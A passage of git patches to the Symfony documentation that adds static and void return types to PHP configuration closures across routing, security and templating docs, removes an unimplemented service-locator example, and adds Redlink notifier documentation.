+        return static function (RoutingConfigurator $routes): void {
             $routes->import('../../src/Controller/', 'annotation')
                 ->prefix([
                     // don't prefix URLs for English, the default locale
@@ -2103,7 +2103,7 @@ locale.
 
         // config/routes/annotations.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('../../src/Controller/', 'annotation')
                 ->host([
                     'en' => 'https://www.example.com',
@@ -2170,7 +2170,7 @@ session shouldn't be used when matching a request:
         use App\Controller\MainController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('homepage', '/')
                 ->controller([MainController::class, 'homepage'])
                 ->stateless()
@@ -2544,7 +2544,7 @@ each route explicitly:
         use App\Controller\SecurityController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('login', '/login')
                 ->controller([SecurityController::class, 'login'])
                 ->schemes(['https'])
@@ -2603,7 +2603,7 @@ defined as annotations:
         // config/routes/annotations.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('../../src/Controller/', 'annotation')
                 ->schemes(['https'])
             ;
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 830e1d64320..5caf51e8213 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -83,7 +83,7 @@ Symfony provides several route loaders for the most common needs:
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             // loads routes from the given routing file stored in some bundle
             $routes->import('@AcmeBundle/Resources/config/routing.yaml');
 
@@ -175,7 +175,7 @@ Take these lines from the ``routes.yaml``:
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('../src/Controller', 'attribute');
         };
 
@@ -229,7 +229,7 @@ and configure the service and method to call:
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('admin_route_loader::loadRoutes', 'service');
         };
 
@@ -413,7 +413,7 @@ What remains to do is adding a few lines to the routing configuration:
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import('.', 'extra');
         };
 
diff --git a/security.rst b/security.rst
index 8d33ff682e6..59a237130e9 100644
--- a/security.rst
+++ b/security.rst
@@ -272,7 +272,7 @@ for a user provider in your security configuration:
         use App\Entity\User;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->provider('app_user_provider')
@@ -402,7 +402,7 @@ have done this for you:
         use App\Entity\User;
         use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             // Use native password hasher, which auto-selects and migrates the best
@@ -535,7 +535,7 @@ will be able to authenticate (e.g. login form, API token, etc).
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('dev')
                 ->pattern('^/(_(profiler|wdt)|css|images|js)/')
@@ -735,7 +735,7 @@ Then, enable the form login authenticator using the ``form_login`` setting:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $mainFirewall = $security->firewall('main');
diff --git a/security/access_control.rst b/security/access_control.rst
index cd1f8f276d6..abba217702f 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -314,7 +314,7 @@ pattern so that it is only accessible by requests from the local server itself:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->accessControl()
@@ -402,7 +402,7 @@ key:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->accessControl()
@@ -480,7 +480,7 @@ access those URLs via a specific port. This could be useful for example for
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->accessControl()
@@ -534,7 +534,7 @@ the user will be redirected to ``https``:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->accessControl()
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 745c68da79d..5671b0538a1 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -89,7 +89,7 @@ Now, configure this service ID as the entry point for the firewall:
         use App\Security\AuthenticationEntryPoint;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 // ....
                 ->entryPoint(AuthenticationEntryPoint::class)
@@ -165,7 +165,7 @@ configure it under your firewall:
         use App\Security\AccessDeniedHandler;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 // ....
                 ->accessDeniedHandler(AccessDeniedHandler::class)
diff --git a/security/access_token.rst b/security/access_token.rst
index d2b2ab4f6a0..c1e1a40db3d 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -64,7 +64,7 @@ digital signature, etc.).
         use App\Security\AccessTokenHandler;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->accessToken()
                     ->tokenHandler(AccessTokenHandler::class)
@@ -193,7 +193,7 @@ You can also create a custom extractor. The class must implement
         use App\Security\CustomTokenExtractor;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->accessToken()
                     ->tokenHandler(AccessTokenHandler::class)
@@ -252,7 +252,7 @@ important**: the first in the list is called first.
         use App\Security\CustomTokenExtractor;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->accessToken()
                     ->tokenHandler(AccessTokenHandler::class)
@@ -326,7 +326,7 @@ and configure the service ID as the ``success_handler``:
         use App\Security\Authentication\AuthenticationSuccessHandler;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->accessToken()
                     ->tokenHandler(AccessTokenHandler::class)
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index f817bb159de..76e2fc1b291 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -120,7 +120,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
         use App\Security\ApiKeyAuthenticator;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->enableAuthenticatorManager(true);
             // ....
 
@@ -239,7 +239,7 @@ using :ref:`the user provider <security-user-providers>`::
                 // ...
 
                 return new Passport(
-                    new UserBadge($email, function (string $userIdentifier) {
+                    new UserBadge($email, function (string $userIdentifier): ?User {
                         return $this->userRepository->findOneBy(['email' => $userIdentifier]);
                     }),
                     $credentials
@@ -269,7 +269,7 @@ The following credential classes are supported by default:
             // If this function returns anything else than `true`, the credentials
             // are marked as invalid.
             // The $credentials parameter is equal to the next argument of this class
-            function ($credentials, UserInterface $user) {
+            function (string $credentials, UserInterface $user): bool {
                 return $user->getApiToken() === $credentials;
             },
 
diff --git a/security/entry_point.rst b/security/entry_point.rst
index c69c6ed647d..e99a4039fcb 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -63,7 +63,7 @@ You can configure this using the ``entry_point`` setting:
         use App\Security\SocialConnectAuthenticator;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->enableAuthenticatorManager(true);
             // ....
 
@@ -154,7 +154,7 @@ split the configuration into two separate firewalls:
         use App\Security\LoginFormAuthenticator;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $apiFirewall = $security->firewall('api');
             $apiFirewall
                 ->pattern('^/api')
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index dcf6a1a5f4d..be0237c0e39 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -63,7 +63,7 @@ if the request path matches the configured ``pattern``.
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ....
 
             $security->firewall('secured_area')
@@ -122,7 +122,7 @@ only initialize if the host from the request matches against the configuration.
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ....
 
             $security->firewall('secured_area')
@@ -182,7 +182,7 @@ the provided HTTP methods.
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ....
 
             $security->firewall('secured_area')
@@ -241,7 +241,7 @@ If the above options don't fit your needs you can configure any service implemen
         use App\Security\CustomRequestMatcher;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ....
 
             $security->firewall('secured_area')
diff --git a/security/force_https.rst b/security/force_https.rst
index 817adbdb50f..cbcfcb46147 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -51,7 +51,7 @@ access control:
             // config/packages/security.php
             use Symfony\Config\SecurityConfig;
 
-            return static function (SecurityConfig $security) {
+            return static function (SecurityConfig $security): void {
                 // ....
 
                 $security->accessControl()
diff --git a/security/form_login.rst b/security/form_login.rst
index 84fe1aec6c1..2b5eba96340 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -65,7 +65,7 @@ a relative/absolute URL or a Symfony route name:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->firewall('main')
@@ -123,7 +123,7 @@ previously requested URL and always redirect to the default page:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->firewall('main')
@@ -211,7 +211,7 @@ parameter is included in the request, you may use the value of the
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->firewall('main')
@@ -278,7 +278,7 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->firewall('main')
@@ -355,7 +355,7 @@ redirects can be customized using the  ``target_path_parameter`` and
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->firewall('main')
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index c6e7e7ee2ae..ec18491005a 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -54,7 +54,7 @@ listener:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -113,7 +113,7 @@ as the value to the current URL:
 
             // config/packages/security.php
             use Symfony\Config\SecurityConfig;
-            return static function (SecurityConfig $security) {
+            return static function (SecurityConfig $security): void {
                 // ...
                 $security->firewall('main')
                     // ...
@@ -229,7 +229,7 @@ also adjust the query parameter name via the ``parameter`` setting:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -291,7 +291,7 @@ This feature allows you to control the redirection target route via ``target_rou
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -347,7 +347,7 @@ be called):
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
diff --git a/security/ldap.rst b/security/ldap.rst
index 44c2193ff38..b2f5a3e753c 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -184,7 +184,7 @@ use the ``ldap`` user provider.
         use Symfony\Component\Ldap\Ldap;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->provider('ldap_users')
                 ->ldap()
                     ->service(Ldap::class)
@@ -406,7 +406,7 @@ Configuration example for form login
         use Symfony\Component\Ldap\Ldap;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->formLoginLdap()
                     ->service(Ldap::class)
@@ -460,7 +460,7 @@ Configuration example for HTTP Basic
         use Symfony\Component\Ldap\Ldap;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->stateless(true)
                 ->formLoginLdap()
@@ -520,7 +520,7 @@ Configuration example for form login and query_string
         use Symfony\Component\Ldap\Ldap;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->stateless(true)
                 ->formLoginLdap()
diff --git a/security/login_link.rst b/security/login_link.rst
index 76f6c767617..14affeb47cd 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -62,7 +62,7 @@ under the firewall. You must configure a ``check_route`` and
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
@@ -126,7 +126,7 @@ intercept requests to this route:
         use App\Controller\DefaultController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             // ...
             $routes->add('login_check', '/login_check');
         };
@@ -364,7 +364,7 @@ seconds). You can customize this using the ``lifetime`` option:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
@@ -449,7 +449,7 @@ You can add more properties to the ``hash`` by using the
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
@@ -521,7 +521,7 @@ cache. Enable this support by setting the ``max_uses`` option:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
@@ -594,7 +594,7 @@ the authenticator only handle HTTP POST methods:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
@@ -740,7 +740,7 @@ Then, configure this service ID as the ``success_handler``:
         use App\Security\Authentication\AuthenticationSuccessHandler;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
diff --git a/security/passwords.rst b/security/passwords.rst
index 2cafc024ce3..c4248ee4eea 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -71,7 +71,7 @@ optionally some *algorithm options*:
         use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             // auto hasher with default options for the User class (and children)
@@ -179,7 +179,7 @@ Further in this article, you can find a
             use App\Entity\User;
             use Symfony\Config\SecurityConfig;
 
-            return static function (SecurityConfig $security) {
+            return static function (SecurityConfig $security): void {
                 // ...
 
                 // Use your user class name here
@@ -369,7 +369,7 @@ on the new hasher to point to the old, legacy hasher(s):
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->passwordHasher('legacy')
                 ->algorithm('sha256')
@@ -588,7 +588,7 @@ cost. This can be done with named hashers:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->passwordHasher('harsh')
                 ->algorithm('auto')
@@ -685,7 +685,7 @@ you must register a service for it in order to use it as a named hasher:
         use App\Security\Hasher\MyCustomPasswordHasher;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->passwordHasher('app_hasher')
                 ->id(MyCustomPasswordHasher::class)
@@ -903,7 +903,7 @@ Now, define a password hasher using the ``id`` setting:
         use App\Security\Hasher\CustomVerySecureHasher;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->passwordHasher('app_hasher')
                 // the service ID of your custom hasher (the FQCN using the default services.yaml)
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 3faa9b1e47a..83b16c33a93 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -62,7 +62,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -184,7 +184,7 @@ allow users to opt-out. In these cases, you can use the
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -347,7 +347,7 @@ are fetched from the user object using the
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -431,7 +431,7 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -520,7 +520,7 @@ Then, configure the service ID of your custom token provider as ``service``:
         use App\Security\RememberMe\CustomTokenProvider;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index b0324a4d393..99cdfe04076 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -105,7 +105,7 @@ is the service id of your user checker:
         use App\Security\UserChecker;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 ->pattern('^/')
@@ -244,7 +244,7 @@ Once your checker services are tagged, next you will need configure your firewal
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('api')
                 ->pattern('^/api')
diff --git a/security/voters.rst b/security/voters.rst
index 21df144e7bc..0f47a4cdd7a 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -318,7 +318,7 @@ security configuration:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->accessDecisionManager()
                 ->strategy('unanimous')
                 ->allowIfAllAbstain(false)
@@ -365,7 +365,7 @@ option to use a custom service (your service must implement the
         use App\Security\MyCustomAccessDecisionStrategy;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->accessDecisionManager()
                 ->strategyService(MyCustomAccessDecisionStrategy::class)
                 // ...
@@ -412,7 +412,7 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
         use App\Security\MyCustomAccessDecisionManager;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->accessDecisionManager()
                 ->service(MyCustomAccessDecisionManager::class)
                 // ...
diff --git a/templates.rst b/templates.rst
index 5f59c91f59a..182f3d759a6 100644
--- a/templates.rst
+++ b/templates.rst
@@ -244,7 +244,7 @@ Consider the following routing configuration:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('blog_index', '/')
                 ->controller([BlogController::class, 'index'])
             ;
@@ -432,7 +432,7 @@ inside the main Twig configuration file:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             $twig->global('ga_tracking')->value('UA-xxxxx-x');
@@ -491,7 +491,7 @@ in container parameters <service-container-parameters>`:
         use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             $twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
@@ -709,7 +709,7 @@ provided by Symfony:
         use Symfony\Bundle\FrameworkBundle\Controller\TemplateController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('acme_privacy', '/privacy')
                 ->controller(TemplateController::class)
                 ->defaults([
@@ -1321,7 +1321,7 @@ the ``value`` is the Twig namespace, which is explained later:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             // directories are relative to the project root dir (but you
@@ -1377,7 +1377,7 @@ configuration to define a namespace for each template directory:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             $twig->path('email/default/templates', 'email');
diff --git a/testing.rst b/testing.rst
index 6bdafc1c32e..da91d81cf7b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -187,7 +187,7 @@ code to production:
         // config/packages/test/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->strictVariables(true);
         };
 
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
index 65669698539..139d94efdd9 100644
--- a/testing/dom_crawler.rst
+++ b/testing/dom_crawler.rst
@@ -48,10 +48,12 @@ narrow down your node selection by chaining the method calls::
 
     $crawler
         ->filter('h1')
-        ->reduce(function ($node, $i) {
+        ->reduce(function ($node, int $i): bool {
             if (!$node->attr('class')) {
                 return false;
             }
+
+            return true;
         })
         ->first()
     ;
@@ -86,6 +88,6 @@ The Crawler can extract information from the nodes::
     $info = $crawler->extract(['_text', 'href']);
 
     // executes a lambda for each node and return an array of results
-    $data = $crawler->each(function ($node, $i) {
+    $data = $crawler->each(function ($node, int $i): string {
         return $node->attr('href');
     });
diff --git a/translation.rst b/translation.rst
index 9842e561f1d..22969db3457 100644
--- a/translation.rst
+++ b/translation.rst
@@ -854,7 +854,7 @@ A better policy is to include the locale in the URL using the
         use App\Controller\ContactController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('contact', '/{_locale}/contact')
                 ->controller([ContactController::class, 'index'])
                 ->requirements([

From b6a23b74b9adf69ca572ae82b788599f974253af Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 21 Jun 2023 11:16:08 +0200
Subject: [PATCH 4770/7107] [DependencyInjection] Remove not implemented
 behavior

Follow-up https://github.com/symfony/symfony-docs/pull/17576
---
 .../service_subscribers_locators.rst             | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index babb7849fa8..30dbace8e30 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -417,13 +417,6 @@ other services. To do so, create a new service definition using the
                 # add the following tag to the service definition:
                 # tags: ['container.service_locator']
 
-            # if the element has no key, the ID of the original service is used
-            app.another_command_handler_locator:
-                class: Symfony\Component\DependencyInjection\ServiceLocator
-                arguments:
-                    -
-                        - '@app.command_handler.baz'
-
     .. code-block:: xml
 
         <!-- config/services.xml -->
@@ -438,8 +431,6 @@ other services. To do so, create a new service definition using the
                     <argument type="collection">
                         <argument key="App\FooCommand" type="service" id="app.command_handler.foo"/>
                         <argument key="App\BarCommand" type="service" id="app.command_handler.bar"/>
-                        <!-- if the element has no key, the ID of the original service is used -->
-                        <argument type="service" id="app.command_handler.baz"/>
                     </argument>
                     <!--
                         if you are not using the default service autoconfiguration,
@@ -470,13 +461,6 @@ other services. To do so, create a new service definition using the
                 // add the following tag to the service definition:
                 // ->tag('container.service_locator')
             ;
-
-            // if the element has no key, the ID of the original service is used
-            $services->set('app.another_command_handler_locator', ServiceLocator::class)
-                ->args([[
-                    service('app.command_handler.baz'),
-                ]])
-            ;
         };
 
 .. note::

From 9b9cd366453bdefba146e49451372c1e597b2092 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mateusz=20=C5=BBy=C5=82a?= <mateusz.zylaa@gmail.com>
Date: Thu, 27 Apr 2023 12:45:11 +0200
Subject: [PATCH 4771/7107] Add Redlink docs

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index e1557914e04..2d619165f98 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -82,6 +82,7 @@ Service             Package                                DSN
 `OrangeSms`_        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 `OvhCloud`_         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 `Plivo`_            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
+`Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 `Sendinblue`_       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
@@ -116,6 +117,10 @@ Service             Package                                DSN
     were introduced in Symfony 6.3.
     The ``from`` option in ``Smsapi`` DSN is optional since Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The Redlink integration was introduced in Symfony 6.4.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -1011,6 +1016,7 @@ is dispatched. Listeners receive a
 .. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md
 .. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md
 .. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md
+.. _`Redlink`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Redlink/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md

From b7a9195d42b6bbecd34eccc9032efb041d492b9a Mon Sep 17 00:00:00 2001
